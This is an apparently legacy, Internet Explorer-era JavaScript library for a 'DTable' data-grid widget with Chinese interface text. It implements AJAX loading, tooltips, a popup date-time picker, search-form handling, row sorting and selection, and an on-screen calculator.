var tmpmindt=new Date(('1900-1-1').replace(/-/g,'/'));
var tmpmaxdt=new Date(('2050-1-1').replace(/-/g,'/'));
var DT_resize_nowX=-100;
var DT_fontSize;

var goSelectTag = new Array();
var gcGray = "#808080";
var gcToggle = "#ffff00";
var gcBG = "#eeeeee";
var gdCurDate = new Date();
var giYear = gdCurDate.getFullYear();
var giMonth = gdCurDate.getMonth()+1;
var giDay = gdCurDate.getDate();
var DtableinputYY;
var DtableinputMM;
var DtableinputDD;
var Dtableinputhh;
var Dtableinputmm;
var Dtableinputss;
var strthisQueryString="";//内置查询时固定传入的QueryString参数
var DTable_IsIE = false;

function DTableAJAXcreateXMLHttpRequest() {
	if (window.XMLHttpRequest) { // Not IE
		return new XMLHttpRequest();
	} else if (window.ActiveXObject) { // IE
		DTable_IsIE = true;
		return new ActiveXObject("Microsoft.XMLHttp");
	}
}




function DTableAJAXoutputComments(Url,OutObj) 
{
	var xmlHttp = DTableAJAXcreateXMLHttpRequest();
	//xmlHttp.overrideMimeType('text/html');

	xmlHttp.onreadystatechange = function() {
		if (xmlHttp.readyState == 4) 
		{ // loaded
			if (xmlHttp.status == 200)
			 { // no http error	

				//var text = xmlHttp.responseText;
			//	comments.innerHTML = text;
			
			//document.write(xmlHttp.responseText);
			document.all.DTable1.innerHTML = xmlHttp.responseText;
			}
		}
	}
	xmlHttp.open("GET", Url, true);
	xmlHttp.send(null);
}



function DTableAJAXpostComment() {
	var username = document.getElementsByName("username")[0].value;
	var content = document.getElementsByName("content")[0].value;

	var xmlHttp = DTableAJAXcreateXMLHttpRequest();
	xmlHttp.open("GET", "ajax.aspx?act=doadd&username=" + username + "&content=" + content, true);
	xmlHttp.send(null);

	// Refresh comments
	xmlHttp.onreadystatechange = function() {
		if (xmlHttp.readyState == 4) { // loaded
			if (xmlHttp.status == 200) { // no http error
				DTableAJAXoutputComments();
			}
		}
	}
}


function loadThreadFollow(t_id)
	{		var tmptr=eval('document.all.dtabletr' + t_id);
		var tmpimg=eval('document.all.dtable_childimg' + t_id);
		if(tmptr.style.display=='none')
			{
			tmptr.style.display='';
tmpimg.src=DT_imgpath +  'dtable_close.gif';
}
else
{
	tmptr.style.display='none';
	tmpimg.src=DT_imgpath + 'dtable_open.gif';
	}
	}
var DTableMoveBoxbV = parseInt(navigator.appVersion);var DTableMoveBoxNN4 = document.layers ? true : false;var DTableMoveBoxIE4 = document.all && DTableMoveBoxbV >= 4 ? true : false;

function DTableMoveBoxshowTip(msg){ var DTableMoveBoxobj = 'DTableMoveBoxTip'; 
if (DTableMoveBoxNN4) { 
	if (document.layers[DTableMoveBoxobj] != null)   document.layers[DTableMoveBoxobj].visibility = 'hidden';
	}
	else if(DTableMoveBoxIE4) 
		document.all[DTableMoveBoxobj].style.visibility = 'hidden'; 
	if (typeof(hideTimeOut) != 'undefined') clearTimeout(hideTimeOut); 
	if (DTableMoveBoxNN4) {  if (document.layers[DTableMoveBoxobj].visibility != 'visible')  { 
		with (document[DTableMoveBoxobj].document)   {  
			open();   
			//alert('ok');
			write('<layer id=DTableMoveBoxTip bgColor=#ffffee style=\"width: 600px;font-size:12px; border: 1px solid #000000\" onMouseover=\"DTableMoveBoxkeepTip()\" onMousewheel=\"DTableMoveBoxkeepTip()\" onMouseout=\"DTableMoveBoxhideTip()\">' + msg + '</layer>');   
	close(); 
	}
	var DTableMoveBoxobjp = document.layers.DTableMoveBoxTip;   DTableMoveBoxobjp.moveTo(50, e.y + 6);  
	}
	document.layers[DTableMoveBoxobj].visibility = 'visible';
	}
	else if(DTableMoveBoxIE4)
		{  
		
		if (document.all[DTableMoveBoxobj].style.visibility != 'visible')  
		{ 
		document.all[DTableMoveBoxobj].innerHTML = msg;
		var y = event.y; 
		var DTableMoveBoxobjp = document.all.DTableMoveBoxTip.style;
		var yy = document.body.scrollTop + y + 12; 
		DTableMoveBoxobjp.pixelLeft = event.x + 10; 
		DTableMoveBoxobjp.pixelTop = yy; 
//document.all[DTableMoveBoxobj].top=yy;
//document.all[DTableMoveBoxobj].left=event.x + 10;
	//	alert(yy);
		}  document.all[DTableMoveBoxobj].style.visibility = 'visible'; 
		}
		}

function DTableMoveBoxkeepTip(){ var DTableMoveBoxobj = 'DTableMoveBoxTip'; if (typeof(hideTimeOut) != 'undefined') clearTimeout(hideTimeOut); if (DTableMoveBoxNN4)  document.layers[DTableMoveBoxobj].visibility = 'visible'; else if(DTableMoveBoxIE4)  document.all[DTableMoveBoxobj].style.visibility = 'visible';}function DTableMoveBoxhideTip(){ hideTimeOut = setTimeout('DTableMoveBoxdelayHide()', 180);}

function DTableMoveBoxdelayHide(){ var DTableMoveBoxobj = 'DTableMoveBoxTip';  if (DTableMoveBoxNN4) {  if (document.layers[DTableMoveBoxobj] != null)   document.layers[DTableMoveBoxobj].visibility = 'hidden'; } else if(DTableMoveBoxIE4)  document.all[DTableMoveBoxobj].style.visibility = 'hidden'; if (typeof(hideTimeOut) != 'undefined') clearTimeout(hideTimeOut);}

if (DTableMoveBoxIE4){
	
	document.write('<div id=DTableMoveBoxTip style=\"width: 400px; position: absolute; visibility: hidden;font-size: 12px; padding: 5px 5px 5px 5px; background-Color: #ffffee; filter: progid:DXImageTransform.Microsoft.Shadow(Color=#333333,Direction=120,strength=5); border: 1px solid #000000; z-index: 99\" onMouseover=\"DTableMoveBoxkeepTip()\" onMousewheel=\"DTableMoveBoxkeepTip()\" onMouseout=\"DTableMoveBoxhideTip()\"></div>');}
else if (DTableMoveBoxNN4)
	{ document.write('<div id=DTableMoveBoxTip style=\"position: absolute; visibility: hidden; background-Color: #ffffee; font-size: 12px;filter: alpha(Opacity=80); border: 1px solid #000000; z-index: 99\"></div>'); 
	setTimeout('window.onResize=setReload', 500);}


	function showdtablesearchlay(){if (document.getElementById('dtablesearch')){var x=window.screen.width;var y=window.screen.height;dtablesearch.style.left=(x-550)/2;dtablesearch.style.top=(y-400)/2;dtablesearch.style.visibility='visible';}}
	
	
	
	function hiddendtablesearchlay(){if (document.getElementById('dtablesearch')){dtablesearch.style.visibility='hidden';}}
	
	function checksearchform(){
		var strtmp='';
		for(var i=0;i<19;i++){
			var tmpnowvalue='';
			if(eval(document.getElementById('dtableautomakesearch' + i))!=null)
				{
				tmpnowvalue='';
				var objtype='';
				if (eval('document.all.dtableautomakesearch' + i + '.type')==null)
					{
					objtype='radio';
					}
					else
						{
						objtype=eval('document.all.dtableautomakesearch' + i + '.type');
						}
						if (objtype.indexOf('radio')>-1)
							{
							for(var tmpii=0;tmpii<2;
							tmpii++)
								{
								if(document.all('dtableautomakesearch' + i)[tmpii].checked)
									{
									tmpnowvalue=document.all('dtableautomakesearch' + i)[tmpii].value;
									}
									}
									}
									else if(objtype.indexOf('text')>-1)
										{
										tmpnowvalue=eval('document.all.dtableautomakesearch' + i + '.value');//编码url
										}
									else if(objtype.indexOf('select')>-1)
											{
											for(var iii=0;iii<document.all('dtableautomakesearch' + i).options.length;iii++)
											{
												if(document.all('dtableautomakesearch' + i).options[iii].selected==true)
													{
													tmpnowvalue=document.all('dtableautomakesearch' + i).options[iii].value;
													}
													}
													}
													if(tmpnowvalue!='' || tmpnowvalue!='undefined'){strtmp+='&dtableautomakesearch' + i + '=' + escape(tmpnowvalue);
													}
													}
													}
	if(strthisQueryString!="")
		{
		window.open('?' + strthisQueryString + '&active=send' + strtmp,'_self','');
		}
		else
		{
	window.open('?active=send' + strtmp,'_self','');
		}
	
	}


function DT_fPopCalendar(popCtrl, dateCtrl,YY,MM,DD,hh,mm,ss,mindt,maxdt){ event.cancelBubble=true; 
DtableinputYY=YY;
DtableinputMM=MM;
DtableinputDD=DD;
Dtableinputhh=hh;
Dtableinputmm=mm;
Dtableinputss=ss;



if(mindt!=null)//设置最小日期
	{
tmpmindt=new Date((mindt).replace(/-/g,'/'));
	}

	if(maxdt!=null)//设置最大日期
	{
tmpmaxdt=new Date((maxdt).replace(/-/g,'/'));
	}


DT_gdCtrl = dateCtrl;
DT_fSetYearMon(DtableinputYY, DtableinputMM);
DT_fSetHms(Dtableinputhh,Dtableinputmm,Dtableinputss); 
var point = DT_fGetXY(popCtrl);
//scrollTop
var divtop=0;
if(document.getElementById('DTable_SettledTableTitle'))
	{
	divtop=DTable_SettledTableTitle.scrollTop;
	}//DTable_SettledTableTitle.scrollTop;



with (VicPopCal.style) { 
	//left = point.x;	
	//top=event.clientY;
	left=event.clientX;
	
//	point.y=point.y + divtop;
	width = VicPopCal.offsetWidth;	
	height = VicPopCal.offsetHeight;	
	top=event.clientY;//divtop;
	//point.x=event.clientX;
	//point.y=event.clientY;
	fToggleTags(left,top,width,height);
	
	visibility = 'visible';
	} VicPopCal.focus();}

function DT_fSetHms(hh,mm,ss){
Dtablehour.selectedIndex=hh;
Dtableminute.selectedIndex=mm;
Dtablesecond.selectedIndex=ss;
}

function DT_fSetDate(iYear,iMonth,iDay,ihour,iminute,isecond)	 { var themonth=new String(iMonth); var theday=new String(iDay); if (themonth.length ==1 ) { iMonth="0" + themonth;	 } if (theday.length ==1) { iDay="0" + theday; } var dihour=new String(ihour); var diminute=new String(iminute); var disecond=new String(isecond); var tmpdatetime=new String(); if(dihour=="0" && diminute=="0" && disecond=="0") {tmpdatetime = iYear+"-"+iMonth+"-"+iDay; } else { if(dihour.length==1) { dihour="0" + dihour; } if(diminute.length==1) { diminute="0" + diminute; } if(disecond.length==1) { disecond="0" + disecond; } tmpdatetime = iYear+"-"+iMonth+"-"+iDay + " " + dihour + ":" + diminute + ":" + disecond; } 
var tmpselectdt=Date.parse(tmpdatetime.replace(/-/g,"/")); 

if (tmpselectdt<tmpmindt)
{ 
	alert('您选择的日期/时间不能小于' + tmpmindt.toLocaleString());
	return;
	} 
	if(tmpselectdt>tmpmaxdt) 
	{ 
		//alert('您选择的日期/时间不能大于' + tmpmaxdt.toLocaleString());
		return; 
		} 
		DT_gdCtrl.value =tmpdatetime; 
		DT_fHideCalendar(); 
		}

function DT_fHideCalendar(){


if(blislistdatetime==true && DTable_rowIndex>0 && DTable_cellIndex>0)//如果是listdatetime
{

DT_Listfun_setTdinnerHtml(DTable_rowIndex,DTable_cellIndex,'dt');//把控件的值赋予td
blislistdatetime=false;
DTable_rowIndex=0;
DTable_cellIndex=0;

}
try
{
 VicPopCal.style.visibility = "hidden";
 }
 catch(e)
 {}
DT_ShowallSelect();

			/*
			if ((item(i).Victor!="Won")&&DT_fTagInBound(item(i)))
			{
			item(i).style.visibility = "visible"; 
			goSelectTag[goSelectTag.length] = item(i); 
			}
*/
	



  } 
  
  
  function DT_ShowallSelect()
  {
with (document.all.tags("SELECT")){ 
		for (i=0; i<length; i++) 
	{
		var obj=item(i);
		if(obj.name.indexOf('se_')>-1)
		{item(i).style.visibility = "visible"; 
		}
		}
}
  }
  function DT_fGetSelected(aCell)
  { 
 
var iihour=Dtablehour.value; 
var iiminute=Dtableminute.value;
var iisecond=Dtablesecond.value; 
var iOffset = 0;
var iYear = parseInt(tbSelYear.value); 
var iMonth = parseInt(tbSelMonth.value); 
aCell.bgColor = gcBG;
 with (aCell.children["cellText"])
  { 
 var iDay = parseInt(innerText);
  if (color==gcGray) iOffset = (Victor<10)?-1:1;
  	 iMonth += iOffset; 
  	 if (iMonth<1) { iYear--; iMonth = 12; } 
  	 else if(iMonth>12){iYear++; iMonth = 1;}
  	 }
  	  if(iihour.length==1)
  	  {
  	  iihour='0' + iihour;
  	  }
  	   if(iiminute.length==1)
  	  {
  	  iiminute='0' + iiminute;
  	  }
  	  if(iisecond.length==1)
  	  {
  	  iisecond='0' + iisecond;
  	  }
  	  
  	  
  	   if(iDay.toString().length==1)
  	  {
  	  iDay='0' + iDay;
  	  }
  	   if(iMonth.toString().length==1)
  	  {
  	  iMonth='0' + iMonth;
  	  }
  	  
  	    return '【' + iYear + '-' + iMonth + '-' + iDay + ' ' + iihour + ':' + iiminute + ':' + iisecond + '】';

  	  }
function DT_fSetSelected(aCell){ 
var iihour=Dtablehour.value; 
var iiminute=Dtableminute.value;
var iisecond=Dtablesecond.value; 
var iOffset = 0;
var iYear = parseInt(tbSelYear.value); 
var iMonth = parseInt(tbSelMonth.value); 
aCell.bgColor = gcBG;
 with (aCell.children["cellText"]) { 
 var iDay = parseInt(innerText);
  if (color==gcGray) iOffset = (Victor<10)?-1:1;
  	 iMonth += iOffset; 
  	 if (iMonth<1) { iYear--; iMonth = 12; } else if(iMonth>12){iYear++; iMonth = 1;}} DT_fSetDate(iYear, iMonth, iDay, iihour, iiminute, iisecond);}


function Point(iX, iY){
	//alert(this);
	this.x = iX;	
	this.y = iY;
	//this.x=event.clientX;
	//this.y=event.clientY;
	}


function fBuildCal(iYear, iMonth) { var aMonth=new Array(); for(i=1;i<7;i++) 	aMonth[i]=new Array(i); var dCalDate=new Date(iYear, iMonth-1, 1); var iDayOfFirst=dCalDate.getDay(); var iDaysInMonth=new Date(iYear, iMonth, 0).getDate(); var iOffsetLast=new Date(iYear, iMonth-1, 0).getDate()-iDayOfFirst+1; var iDate = 1; var iNext = 1; for (d = 0; d < 7; d++)	aMonth[1][d] = (d<iDayOfFirst)?-(iOffsetLast+d):iDate++; for (w = 2; w < 7; w++) 	for (d = 0; d < 7; d++)		aMonth[w][d] = (iDate<=iDaysInMonth)?iDate++:-(iNext++); return aMonth;}

function DT_fDrawCal(iYear, iMonth, iCellHeight, iDateTextSize) 
	{
	var WeekDay=new Array('日','一','二','三','四','五','六');
	var styleTD = " bgcolor='"+gcBG+"' bordercolor='"+gcBG+"' VALIGN='middle' align='center' height='"+iCellHeight+"' style='font:bold "+iDateTextSize+" 宋体;";
	
	with (document) 
		{	
		write("<tr>");	
	for(i=0; i<7; i++)	
		write("<TD "+styleTD+" color:#990000' >" + WeekDay[i] + "</td>");	
	write("</tr>"); 	
	for (w = 1; w < 7; w++) 
		{
		write("<tr>");	
	for (d = 0; d < 7; d++)
		{

write("<TD id=calCell "+styleTD+"cursor:hand;' onMouseOver=\"this.bgColor=gcToggle;document.all.DT_ct_ShowTD.innerHTML=DT_fGetSelected(this);\" onMouseOut='this.bgColor=gcBG' onclick='DT_fSetSelected(this)'>");write("<font id=cellText Victor='Liming Weng'> </font>");
write("</td>")}write("</tr>");
}
}
}

function DT_fUpdateCal(iYear, iMonth) 
{
 myMonth = fBuildCal(iYear, iMonth);
 var i = 0;
  for (w = 0; w < 6; w++)
  	 for (d = 0; d < 7; d++)
with (cellText[(7*w)+d])
{
Victor = i++;
if (myMonth[w+1][d]<0)
 {
 color = gcGray;
 innerText = -myMonth[w+1][d];
 			}
 			else
 			{
 			color = ((d==0)||(d==6))?"red":"black";
 			innerText = myMonth[w+1][d];
 			if(innerText==DtableinputDD){
 			color = "blue";
 			}
 			}
 			
 			 				}
 				}
 				

 function DT_fSetYearMon(iYear, iMon){ tbSelMonth.options[iMon-1].selected = true; for (i = 0; i < tbSelYear.length; i++)
 	if (tbSelYear.options[i].value == iYear)
 	tbSelYear.options[i].selected = true; 
 	DT_fUpdateCal(iYear, iMon);
 	} 
 	
 	function DT_fPrevMonth() {
 	 var iMon = tbSelMonth.value; 
 	 var iYear = tbSelYear.value; 
 	 if (--iMon<1) {	
 	  iMon = 12;
 	  	 iYear--; 
 	  	 } 
 	  	 DT_fSetYearMon(iYear, iMon);
 	  	 }

function DT_fNextMonth(){ var iMon = tbSelMonth.value; var iYear = tbSelYear.value; if (++iMon>12) {	 iMon = 1;	 	 iYear++; } 	 DT_fSetYearMon(iYear, iMon);}	

//fToggleTags(left,top,width,height);
function fToggleTags(left1,top1,width1,height1){

if(left1==null || top1==null || width1==null || height1==null)
	{
	return false;
	}

	var theleft=left1;
	var thewidth=parseInt(replace(width1.toString(),'px',''));
	theleft=(replace(theleft.toString(),'px','')).toString();

	with (document.all.tags("SELECT")){ 
		for (i=0; i<length; i++) 
		{
			var obj=item(i);
			var thistop=DT_getPosition(obj).top;
			var thisleft=DT_getPosition(obj).left;
			if(thisleft>theleft && thisleft<(theleft + thewidth) && obj.name.indexOf('se_')>-1)
			{
				
item(i).style.visibility = "hidden"; 
			//goSelectTag[goSelectTag.length] = item(i); 
			}

		
			/*
			if ((item(i).Victor!="Won")&&DT_fTagInBound(item(i)))
			{

			item(i).style.visibility = "hidden"; 
			goSelectTag[goSelectTag.length] = item(i); 
			}
			*/
		}

			}
			}



function DT_fTagInBound(aTag){ with (VicPopCal.style){ 	var l = parseInt(left); 	var t = parseInt(top); 	var r = l+parseInt(width); 	var b = t+parseInt(height);	var ptLT = DT_fGetXY(aTag);	return !((ptLT.x>r)||(ptLT.x+aTag.offsetWidth<l)||(ptLT.y>b)||(ptLT.y+aTag.offsetHeight<t)); }}


 function DT_fGetXY(aTag){
 var oTmp = aTag;
 var pt = new Point(0,0); 
 var divtop=0;
 /*
if(document.getElementById('DTable_SettledTableTitle'))
	{
	divtop=DTable_SettledTableTitle.scrollTop;
	}
	*/
 do { 
pt.x += oTmp.offsetLeft; 
pt.y += oTmp.offsetTop; 
oTmp = oTmp.offsetParent; }
 while(oTmp.tagName!="BODY"); 
 return pt;}


 
 var gMonths=new  Array("&nbsp;一月","&nbsp;二月","&nbsp;三月","&nbsp;四月","&nbsp;五月","&nbsp;六月","&nbsp;七月","&nbsp;八月","&nbsp;九月","&nbsp;十月","十一月","十二月");
 
 with (document) 
	 {
		 write("<Div id='VicPopCal' onclick='event.cancelBubble=true' style='POSITION:absolute;visibility:hidden;border:0px ridge;width:10;z-index:999;FILTER: progid:DXImageTransform.Microsoft.Shadow(Color=#333333,Direction=120,strength=5)'>");
		 
		 write("<table border='1' bgcolor='cccccc' cellspacing=\"1\" cellpadding=\"0\">");
		 
		 write("<tr>");
		 
		 write("<TD VALIGN='middle' align='center'><input type='button' name='PrevMonth' value='<' onClick='DT_fPrevMonth()'>");
		 
		 write("&nbsp;<SELECT name='tbSelYear' onChange='DT_fUpdateCal(tbSelYear.value, tbSelMonth.value)' Victor='Won'>");
 
 for(i=parseInt(tmpmindt.getFullYear().toString());i<=parseInt(tmpmaxdt.getFullYear().toString());i++)	write("<OPTION value='"+i+"'>"+i+"年</OPTION>");write("</SELECT>"); write("&nbsp;<select name='tbSelMonth' onChange='DT_fUpdateCal(tbSelYear.value, tbSelMonth.value)' Victor='Won'>");
 
 for (i=0; i<12; i++)write("<option value='"+(i+1)+"'>"+gMonths[i]+"</option>");write("</SELECT>");write("&nbsp;<input type='button' name='PrevMonth' value='>' onclick='DT_fNextMonth()'>");write("</td>");write("</tr><tr>");write("<TD align='center'>");write("<DIV style='background-color:teal'><table width='100%' border='0' cellspacing=\"1\" cellpadding=\"0\">");DT_fDrawCal(giYear, giMonth, 12, 12);write("</table></DIV>");write("</td>");write("</tr><TR align='center'>");write("<td>");write ("&nbsp;<select name='Dtablehour' Victor='Won' >");
 
 for(i=0;i<24;i++){write("<option value='" + i + "'>" + i + "</option>");}write("</select>");write("时&nbsp;<select name='Dtableminute' Victor='Won'>");
 
 for(i=0;i<60;i++){write("<option value='" + i + "'>" + i + "</option>");}write("</select>");write("分&nbsp;<select name='Dtablesecond'  Victor='Won'>");
 
 for(i=0;i<60;i++){write("<option value='" + i + "'>" + i + "</option>");}
 
 write("</select>");write(" 秒</td></tr><tr><td id='DT_ct_ShowTD' align='center' style='cursor:hand;font:bold 12 宋体;color:#990000' bgcolor=#EEEEEE>&nbsp;</td></tr><tr><TD align='center'>");
 
 write("<span style='cursor:hand;font:bold 12 宋体' onclick='DT_fSetDate(giYear,giMonth,giDay,Dtablehour.value,Dtableminute.value,Dtablesecond.value)' onMouseOver=\"this.style.color=gcToggle;document.all.DT_ct_ShowTD.innerHTML='【" + giYear +"-" + giMonth + "-" + giDay + " ' + document.all.Dtablehour.value + ':' + document.all.Dtableminute.value + ':' + document.all.Dtablesecond.value + '】'\" onMouseOut='this.style.color=0'>今天："+giYear+"年"+giMonth+"月"+giDay+"日</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style='font-family: wingdings' title='关闭' onclick='DT_fHideCalendar();' style='cursor:hand;'>x</span>");
 
 write("</td></tr>");write("</TABLE></Div>");
 
 }


function getLength(s){
 var n=0;
 for(var i=0;i<s.length;i++){
   if(s.charCodeAt(i)<256){ n=n+1; } else{ n=n+2; }
 }
 return n;
}


function getNstring(sStr,nLen){
	var nStrLen	= sStr.length;
	
	var nCountLen	= 0;
	var nCharLen	= 0;
	var sCutStr	= '';
	for (var nTempCount = 0; nTempCount < nStrLen; nTempCount++){
		nCharLen = Math.abs(sStr.charCodeAt(nTempCount));
		nCountLen = (nCharLen > 255) ? nCountLen += 2 : nCountLen += 1;
		if (nCountLen > nLen){
			sCutStr = sStr.substring(0,nTempCount-2) + "..";
			break;
		}

		else
		{
			sCutStr = sStr;
		}
	}
	return sCutStr.replace(/\n/,"，");
}


function LTrim(str)

{

    var whitespace = new String(" \t\n\r");

    var s = new String(str);

    

    if (whitespace.indexOf(s.charAt(0)) != -1)

    {

        var j=0, i = s.length;

        while (j < i && whitespace.indexOf(s.charAt(j)) != -1)

        {

            j++;

        }

        s = s.substring(j, i);

    }

    return s;

}



function RTrim(str)

{

    var whitespace = new String(" \t\n\r");

    var s = new String(str);

 

    if (whitespace.indexOf(s.charAt(s.length-1)) != -1)

    {

        var i = s.length - 1;

        while (i >= 0 && whitespace.indexOf(s.charAt(i)) != -1)

        {

            i--;

        }

        s = s.substring(0, i+1);

    }

    return s;

}

 


function Trim(str)

{

    return RTrim(LTrim(str));

}



function DT_Listfun_clickIt()
{

if(DT_resize_CurState==false && DT_resize_CurDown==false && DT_resize_isre==false)
{

if(event.button==0){
if(document.getElementById('ie5menu')){
document.all.ie5menu.style.left='-1000';}}

event.cancelBubble=true;

var DT_the_obj = event.srcElement;
var DT_the_td;

if(DT_the_obj.tagName.toLowerCase() != 'table' && DT_the_obj.tagName.toLowerCase() != 'tbody' && DT_the_obj.tagName.toLowerCase() != 'tr'){

DT_the_td= DT_get_Element(DT_the_obj,'td');
}
else
{
return;
}
var i = 0 ,j = 0;



if(DT_the_td==null) 
{return; }

var DT_the_tr = DT_the_td.parentElement;
var DT_DT_the_table = DT_get_Element(DT_the_td,'table'); 

var i = 0; DT_Listfun_clearcolor(); 
DT_cur_row = DT_the_tr.rowIndex; 
DT_cur_col = DT_the_td.cellIndex;

if(DT_cur_col==0){return true;}
if(DT_cur_row!=DTable_minrowIndex-1)
{
}

else if(EnableSort_init==true)
{
DT_the_td.mode = !DT_the_td.mode;

if(DT_sort_col!=null)
{ 

with(DT_thisTable.rows[DTable_minrowIndex-1].cells[DT_sort_col])
{
{
removeChild(lastChild);
}
}
}


with(DT_thisTable.rows[DTable_minrowIndex-1].cells[DT_cur_col])

appendChild(DT_the_td.mode?DT_arrowUp:DT_arrowDown);
DT_Listfun_sorttab(DT_thisTable,DT_cur_col,DT_the_td.mode); 

DT_sort_col=DT_cur_col; 

}
DT_Listfun_initValue(DTable_minrowIndex);

}
else
{
}
}


function replace(str, fromstring, tostring) {

   i = str.indexOf(fromstring);
   r = '';
   if (i == -1) return str;
   r += str.substring(0,i) + tostring;
   if ( i + fromstring.length < str.length)
     r += replace(str.substring(i + fromstring.length, str.length), fromstring, tostring);
   return r;
   }
   
   









function DTable_Funcheckclick(){

var obj = document.getElementsByName('DTCheckselect');
var strvalue='';
for(var i=0;i<obj.length;i++)
{
if (obj[i].checked==true)
{
strvalue+=obj[i].value + ',';
}
}
if (strvalue.length>0)
{
strvalue=strvalue.substr(0,strvalue.length-1);
document.DTable_sendcheckform.DTable_checkvalue.value=strvalue;
document.DTable_sendcheckform.submit();
}
else
{
alert('请至少选择一条记录');
return true;
}
}




var jsqthisobj;
function jsqgetvalue(){
if(blislistnumeric=true && DTable_rowIndex>0 && DTable_cellIndex>0)
{
var strnbarr=eval('DT_Fieldvalue' + DTable_cellIndex + '.split("$$")');
var intminnb=parseInt(strnbarr[0]);//最小值
var intmaxnb=parseInt(strnbarr[1]);//最大值
var intxsl=parseInt(strnbarr[2]);//小数点后位数
var strms=strnbarr[3].toString();//货币符号
var strreturnvalue=document.all.ReadOut.value;
if(parseInt(strreturnvalue)<intminnb)
{
alert('输入的数字不能小于' + intminnb.toString());
return false;
}
if(parseInt(strreturnvalue)>intmaxnb)
{
alert('输入的数字不能大于' + intmaxnb.toString());
return false;
}
var intd=strreturnvalue.indexOf('.');
if(intd>-1)
{
var strtmpxsd=strreturnvalue.substring(0,intd + parseInt(intxsl) + 1);
document.all.ReadOut.value=strtmpxsd;
}
else
{
if(parseInt(intxsl)>0)
{
strxsvalue='';
for(i=0;i<intxsl;i++)
{
strxsvalue=strxsvalue + '0';
}
document.all.ReadOut.value=document.all.ReadOut.value + '.' + strxsvalue;
}
}
jsqthisobj.value=document.all.ReadOut.value;


DT_Main_Tab.rows[DTable_rowIndex].cells[DTable_cellIndex].innerHTML=strms + eval('document.all.nb_' + DTable_rowIndex + '_' + DTable_cellIndex + '.value');
if(DT_cur_cell!=null)
{
DT_cur_cell=null;
}
if(DT_cur_row!=null)
{
DT_cur_row=null;
}
DT_hidejsq();
return false;



}
jsqthisobj.value=document.all.ReadOut.value;

dtablejsqc.style.visibility='hidden';
}
function DT_hidejsq()
{
DT_ShowallSelect();
dtablejsqc.style.visibility='hidden';

}
function showjsq(sobjjsj){
jsqthisobj=sobjjsj;
if(jsqthisobj.value!='')
{

document.all.ReadOut.value=jsqthisobj.value;
}
else
	{
	document.all.ReadOut.value="";
	}
var point = DT_fGetXY(sobjjsj); 


with (document.all.dtablejsqc.style) {
	left = point.x;
top=event.clientY;
width = dtablejsqc.offsetWidth;
height = dtablejsqc.offsetHeight;
fToggleTags(left,top,width,height);
visibility = 'visible'; 
}


document.all.dtablejsqc.focus();
//return false;
}

function dtjsq_jsqbtover(obj){var tmpobj=obj;tmpobj.style.backgroundColor='#CC6600';tmpobj.style.color='#FFFFFF';}

function dtjsq_jsqbtout(obj){var tmpobj=obj;tmpobj.style.backgroundColor='#f6f6f6';tmpobj.style.color="#000000";}var FKeyPad = document.all;var Accum = 0;var FlagNewNum = false;var PendingOp = '';

function dtjsq_NumPressed (Num) {if (FlagNewNum) {FKeyPad.ReadOut.value = Num;FlagNewNum = false; }else {if (FKeyPad.ReadOut.value == "0")FKeyPad.ReadOut.value = Num;else{FKeyPad.ReadOut.value += Num; }}}

function dtjsq_Operation (Op) {var Readout = FKeyPad.ReadOut.value;if(FlagNewNum && PendingOp != "=");else{FlagNewNum = true;if ( '+' == PendingOp ){Accum += parseFloat(Readout);}else if ( '-' == PendingOp ){Accum -= parseFloat(Readout);}else if ( '/' == PendingOp ){Accum /= parseFloat(Readout);}else if ( '*' == PendingOp ){Accum *= parseFloat(Readout);}else
Accum = parseFloat(Readout);FKeyPad.ReadOut.value = Accum;PendingOp = Op; }}

function Decimal () {var curReadOut = FKeyPad.ReadOut.value;if (FlagNewNum) {curReadOut = "0.";FlagNewNum = false; }else{if (curReadOut.indexOf(".") == -1)curReadOut += "."; }FKeyPad.ReadOut.value = curReadOut;}

function ClearEntry () {FKeyPad.ReadOut.value = "0";FlagNewNum = true;}

function Clear () {Accum = 0;PendingOp = '';ClearEntry();}

function Neg () {FKeyPad.ReadOut.value = parseFloat(FKeyPad.ReadOut.value) * -1;}

function Percent () {FKeyPad.ReadOut.value = (parseFloat(FKeyPad.ReadOut.value) / 100) * parseFloat(Accum);}


function CheckBoxSelectAll_onclick(){var obj = document.getElementsByName("CheckBoxSelectAll");if (obj[0].checked==true){CheckAll();}else{unCheckAll();}}function unCheckAll(){var obj = document.getElementsByName("DTCheckselect");for(var i=0;i<obj.length;i++){obj[i].checked=false;}}function CheckAll()	{var obj = document.getElementsByName("DTCheckselect");for(var i=0;i<obj.length;i++){obj[i].checked=true;}}


 var DTable_menuskin = 'skin1'; var DTable_display_url = 0; var DTable_DTable_overcolormenu='ADD7FF'; var DTable_clickedcolor='#ffffff'; 
 
 
 var DTable_clickedbgcolor='#639ACE'; var thisname=''; var thisid='';function gotochildurl(theurl,target){window.open(theurl + thisid,target);}function checkselected(){if(thisid==''){window.alert('请选择一条记录');return false;}else{return true;}}
function gotomyurl(theur)
	{
		window.open(theur + thisid,'_self');return document.DTable_returnValue;
}
//
function DTable_tr_onmouseover(element) { 
DT_resize_isre=false;
DT_resize_CurState=false ;
DT_resize_CurDown=false ;

window.document.body.style.cursor="Default" ;

var oTR = getElement(element, 'TR'); 	if (oTR != null && !eval(oTR.active)) { oTR.style.backgroundColor = DTable_DTable_overcolormenu; 		} 		} function DTable_tr_onmouseout(element) { var oTR = getElement(element, 'TR'); if (oTR != null && !eval(oTR.active)) { oTR.style.backgroundColor = '';}} 
//alert('ok');
function DTable_tr_onclick(element,ztname,ztid)
	{

	thisname=ztname; 
	thisid=ztid; 
	var the9909href;
	if(document.getElementById('the9909')){the9909href='?MDeleteID=' + thisid;the9909.href=the9909href;}
	if (document.getElementById('theedit')){theedit.innerHTML='<font face=Wingdings size=3>2</font>[' + thisname + ']';} 
	
	if (document.getElementById('thedelete')){thedelete.innerHTML='×[' + thisname + ']';} 
	if (document.getElementById('theshow')){theshow.innerHTML='查看[' + thisname + ']';}
	var oTR = getElement(element, 'TR');
	var oTABLE = getElement(oTR, 'TABLE');
	if (oTABLE != null) { if (typeof(oTABLE.activeRow) != 'undefined' && oTABLE.activeRow != null) {
		oTABLE.activeRow.style.backgroundColor = ''; 
		oTABLE.activeRow.style.color = '';
		oTABLE.activeRow.active = 'false';
		}

		if (oTR != null) {
			oTR.style.backgroundColor = DTable_clickedbgcolor; 
			oTR.style.color = DTable_clickedcolor;
			oTR.active = 'true';
			oTABLE.activeRow = oTR;
			}
			}
			} 

